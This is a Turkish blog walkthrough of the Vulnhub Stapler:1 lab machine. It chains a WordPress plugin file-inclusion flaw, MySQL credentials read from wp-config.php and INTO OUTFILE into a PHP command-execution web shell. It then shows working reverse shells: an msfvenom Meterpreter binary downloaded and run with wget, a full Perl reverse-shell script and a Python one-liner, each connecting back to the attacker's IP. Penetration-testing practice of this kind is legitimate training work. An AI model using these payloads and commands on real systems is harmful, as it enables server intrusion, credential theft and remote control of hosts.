Yerel Dosya Dahil Etme Zafiyeti Bulunan Eklenti Yüklü WordPress Uygulamasında Komut Enjeksiyonu ile Komut Satırı Erişimi Elde Edilmesi

0
135
views
Web uygulamaları sızma testleri sırasında hedef uygulama üzerindeki bir kontrol eksikliği sebebi ile beklenmeyen dosyalar web uygulaması tarafından çağırılabilir. Bu yazıda, Yerel Dosya Dahil Etme (Local File Inclusion) zafiyeti barındıran bir WordPress eklentisi sayesinde elde edilen Mysql kimlik bilgileri ile Stapler:1 sanal makinesinin veritabanı yönetim sistemine bağlanılarak Mysql outfile ifadesi ile diskine komut enjeksiyonu içeren bir PHP dosyası yazılacak ve uygulama kullanıcısı (www-data) yetkileri ile komut satırı erişimi elde edilecektir.

Yazıda kullanılan Stapler:1 sanal makinesi Vulnhub sitesinden indirilebilir.

https://www.vulnhub.com/entry/stapler-1,150/

 

A) WordPress Eklentisinde LFI İstismarı ve MySQL Servisine Erişim

Kurban makinenin 12380 portunda hizmet veren web uygulamasının “blogblog” dizininde bir WordPress uygulaması hizmet vermektedir.

https://172.20.50.132:12380/blogblog/

 

Bu uygulamanın “wp-content” ve alt dizinlerinde dosya gezinimi açık bırakılmıştır ve bu dizinlerdeki (“uploads” gibi) dosyalar listelenebilmektedir.

https://172.20.50.132:12380/blogblog/wp-content/uploads

 

wpscan” aracı kullanılarak veya manuel olarak “wp-content/plugins/” dizinine gidilerek eklentiler incelendiğinde “WordPress Plugin Advanced Video 1.0 – Local File Inclusion” adlı eklentinin kullanıldığı görülmektedir. Bu eklentide bir LFI zafiyeti bulunmaktadır.

https://172.20.50.132:12380/blogblog/wp-content/plugins/advanced-video-embed-embed-videos-or-playlists/readme.txt
https://www.exploit-db.com/exploits/39646/

 

Zafiyete ait POC kod incelendiğinde “thumb” parametresinde zafiyetin mevcut olduğu belirtilmektedir.

http://127.0.0.1/wordpress/wp-admin/admin-ajax.php?action=ave_publishPost&title=random&short=1&term=1&thumb=[FILEPATH]

 

Not:advanced-video-embed-embed-videos-or-playlists” eklentisine ait “ave_publishPost” fonksiyonu incelendiğinde “thumb” paramtresi için bir kontrol eksikliği görülmektedir.

cat -n /var/www/https/blogblog/wp-content/plugins/advanced-video-embed-embed-videos-or-playlists/inc/classes/class.avePost.php | grep “ave_publishPost()” -A 30

 

Zafiyetin istismarı için “/etc/passwd” dosyası değişken olarak verildiğinde blogda yeni bir yazı oluştuğu ve bu yazının başında bir resim dosya adının oluştuğu görülmektedir. Ancak “uploads” dizinine atılan bu dosya sunucu tarafından beklendiği gibi yorumlanamamaktadır.

https://172.20.50.132:12380/blogblog/wp-admin/admin-ajax.php?action=ave_publishPost&title=random&short=1&term=1&thumb=../../../../../../../../../../../../etc/passwd
https://172.20.50.132:12380/blogblog/
view-source:https://172.20.50.132:12380/blogblog/
https://172.20.50.132:12380/blogblog/wp-content/uploads
https://172.20.50.132:12380/blogblog/wp-content/uploads/2037162091.jpeg

 

Resim dosyasının içeriği okunduğunda, zafiyet istismarı ile “/etc/passwd” dosya içeriğinin bu JPG dosyasına aktarıldığı görülmüştür.

curl -k https://172.20.50.132:12380/blogblog/wp-content/uploads/2037162091.jpeg | head -5

 

Not: Resim dosyasının içeriğini okuman için ilgili dosya Notepad gibi bir metin editörü ile de açılabilirdi.

Benzer olarak başka dosyalar da okunabilir. Örneğin Mysql erişim bilgilerini elde etmek için “wp-config.php” dosya içeriği okunabilir.

curl -k “https://172.20.50.132:12380/blogblog/wp-admin/admin-ajax.php?action=ave_publishPost&title=random&short=1&term=1&thumb=../wp-config.php”
curl -k “https://172.20.50.132:12380/blogblog/wp-content/uploads/”
curl -k “https://172.20.50.132:12380/blogblog/wp-content/uploads/1679418079.jpeg”

 

Bu dosya sayesinde Mysql erişim bilgileri elde edilmiştir.

Kullanıcı Adı: root
Parola: plbkac

 

Böylece Mysql servisine erişim sağlanabilir.

mysql -h 172.20.50.132 -u root -pplbkac
status;

 

B) MySql OutFile İfadesi ile Komut Enjeksiyonu İçeren Dosyanın Hedefe Atılması

Mysql servisine bağlandıktan sonra, bir metin içeriğini istenilen ve Mysql servisini çalıştıran kullanıcının yetkisi dahilinde dosyaya yazmak için “outfile” ifadesi kullanılabilir. Öncelikle basit bir PHP kodu Hex halinde atılmaya çalışılır. Bu amaçla, “phpinfo()” fonksiyonunu içeren bir PHP kodu’nun HEX hali oluşturulur.

echo -n “<?php phpinfo(); ?>” | xxd -ps

 

Tek satırlık bir PHP kodu mysql uygulama kullanıcısı yetkileri ile uygulamaya ait yazılabilir bir dizine atılmıştır.

select 0x3c3f70687020706870696e666f28293b203f3e into outfile “/var/www/https/blogblog/wp-content/uploads/PhpBilgi.php”;

 

Not:outfile” ifadesi yerine “dumpfile” ifadesi de kullanılabilirdi.

select 0x3c3f70687020706870696e666f28293b203f3e into dumpfile “/var/www/https/blogblog/wp-content/uploads/PhpBilgi_dumpfile.php”;

 

Yüklenen dosya çağırıldığında, PHP kodu çalışmıştır.

https://172.20.50.132:12380/blogblog/wp-content/uploads/
https://172.20.50.132:12380/blogblog/wp-content/uploads/PhpBilgi.php

 

Benzer olarak komut enjeksiyonu zafiyetine sahip tek satırlık bir PHP kodu da atılabilir.

Select “<?php passthru($_GET[‘komut’]); ?>” into outfile “/var/www/https/blogblog/wp-content/uploads/YeniSayfa.php”;
https://172.20.50.132:12380/blogblog/wp-content/uploads/

 

Komut enjeksiyonu zafiyeti içeren bu dosya çağırılarak kurban işletim sistemi üzerinde komut çalıştırılabilir.

https://172.20.50.132:12380/blogblog/wp-content/uploads/YeniSayfa.php?komut=id; echo “—“; uname -a; echo “—“; cat /etc/passwd

 

Not: Yazının devamında komut enjeksiyonu zafiyeti bulunan YeniSayfa.php dosyası ile komut satırı erişimi elde edilecektir. Bunun yanında ters bağlantı sağlayacak herhangi bir PHP dosyası, “phpinfo()” fonksiyonunu içeren dosya gibi, HEX haline getirilip belli bir dizine de atılabilirdi. Örneğin “php-reverse-shell.php” adlı PHP web shell dosyası açık metin yerine HEX halinde (tüm sonuc tek bir satır haline getirildikten sonra) de aşağıda belirtildiği şekilde kullanılabilirdi.

cat /usr/share/webshells/php/php-reverse-shell.php | grep CHANGE
echo -n $(cat /usr/share/webshells/php/php-reverse-shell.php) | xxd -p
select “0x3c3f706870202f2f207068702d726576657273652d7368656c6c202d20412052657665727365205368656c6c20696d706c656d656e746174696f6e20…202821246461656d6f6e29207b207072696e74202224737472696e675c6e223b207d207d203f3e” into outfile “/var/www/https/blogblog/wp-content/uploads/ZararliTersBaglanti.php”;

 

 

C) Komut Satırı Erişiminin Elde Edilmesi: Meterpreter

Komut enjeksiyonu içeren sayfa aracılığı ile kurban işletim sistemine zararlı bir çalıştırılabilir dosya (ELF) atılabilir. Bu dosya Msfvenom gibi bir araçla oluşturulabilir.

msfvenom -p linux/x86/meterpreter/reverse_tcp -a x86 –platform linux -b ‘\\x00’ LHOST=172.20.50.128 LPORT=5555 -f elf -o ZararliUygulama

 

Oluşturulan dosya kurban sisteme aktarılır ve çalıştırılabilir hale getirilir.

ls -la ZararliUygulama
python -m SimpleHTTPServer 8888
https://172.20.50.132:12380/blogblog/wp-content/uploads/YeniSayfa.php?komut=wget 172.20.50.128:8888/ZararliUygulama -O /tmp/zararli; chmod 777 /tmp/zararli; ls -la /tmp/zararli; file /tmp/zararli

 

Saldırgan makinesinde Meterpreter bağlantısını yakalayacak dinleyici başlatılır.

use exploit/multi/handler
set PAYLOAD linux/x86/meterpreter/reverse_tcp
set LHOST 172.20.30.128
set LPORT 5555
exploit -j

 

Kurban makineye indirilen zararlı dosya çalıştırılır ve web uygulama kullanıcısı (www-data) yetkileri ile Meterpreter bağlantısı elde edilir.

curl -k -s “https://172.20.50.132:12380/blogblog/wp-content/uploads/YeniSayfa.php?komut=bash+-c+/tmp/zararli”
sessions
sessions -i 1
shell
id

Not: MSF web_delivery istismar modülü php/meterpreter/reverse_tcp payload’u ile beraber kullanılsa idi, yine Meterpreter bağlantısı elde edilebilirdi.

 

D) Komut Satırı Erişiminin Elde Edilmesi: Perl ile Bash Kabuğu

Meterpreter veya benzer Payload kullanılamadığı durumda kurban sistemde bir Perl kodu çalıştırılarak da komut satırı bağlantısı elde edilebilir. Mevcut sanal makinede Perl paketlerinin olduğu görülmektedir.

https://172.20.50.132:12380/blogblog/wp-content/uploads/YeniSayfa.php?komut=perl -h

 

Ters bağlantı sağlamak için aşağıdaki gibi bir Perl betiği kullanılabilir. Bu betik bağlantı kurulacak saldırgan IP ve port olmak üzere 2 parametre almaktadır.

#!/usr/bin/perl
use Socket;
use FileHandle;
$IP = $ARGV[0];
$PORT = $ARGV[1];
socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname(‘tcp’));
connect(SOCKET, sockaddr_in($PORT,inet_aton($IP)));
SOCKET->autoflush();
open(STDIN, “>&SOCKET”);
open(STDOUT,”>&SOCKET”);
open(STDERR,”>&SOCKET”);
system(“/bin/sh -i”);

 

Bu betiği kurban sunucuya aktarmak için bir web hizmeti başlatılır.

cat TersBaglanti.pl
python -m SimpleHTTPServer 2468

 

Kurban makine üzerine Perl kodu aktarılır.

https://172.20.50.132:12380/blogblog/wp-content/uploads/YeniSayfa.php?komut=wget 172.20.50.128:2468/TersBaglanti.pl -O /tmp/ZararliBaglanti.pl; chmod 777 /tmp/ZararliBaglanti.pl; ls -la /tmp/ZararliBaglanti.pl

 

Perl kodu çalıştığında bu talebi yakalayacak bir dinleyici başlatılır.

nc -nlvp 10000

 

Perl koduna IP ve port bilgisi verilerek çalıştırılır ve web uygulama kullanıcısı (www-data) yetkileri ile komut satırı erişimi elde edilir.

https://172.20.50.132:12380/blogblog/wp-content/uploads/YeniSayfa.php?komut=perl /tmp/ZararliBaglanti.pl 172.20.50.128 10000
id
ls

 

E) Komut Satırı Erişiminin Elde Edilmesi: Python ile Bash Kabuğu

Hedef sisteme wget gibi bir araçla dosya atılamadığı durumlarda, komut enjeksiyonu içeren sayfada bir Python komutu çalıştırılarak dinleyiciye ters bağlantı oluşturulabilir. Bunun için öncelikle Python komutunu çalıştığında bu talebi yakalayacak bir dinleyici başlatılır.

nc -nlvp 9753

 

Sonrasında Python komutu çalıştırılarak web uygulama kullanıcısı (www-data) yetkileri ile komut satırı elde edilir.

https://172.20.50.132:12380/blogblog/wp-content/uploads/YeniSayfa.php?komut=python%20-c%20’import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“172.20.50.128”,9753));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,”-i”]);’
id
python -c ‘import pty;pty.spawn(“/bin/bash”)’

 

 

Kaynaklar:

https://jhalon.github.io/vulnhub-stapler1/

Anatomy of an attack: Gaining Reverse Shell from SQL injection


https://kooksec.blogspot.com.tr/2016/08/stapler-1-vulnhub-walkthough.html

Hack the Stapler VM (CTF Challenge)


http://www.mxd85.com/writeups/Stapler/

 

 

 

CEVAP VER

Yorumunuzu giriniz
İsminizi giriniz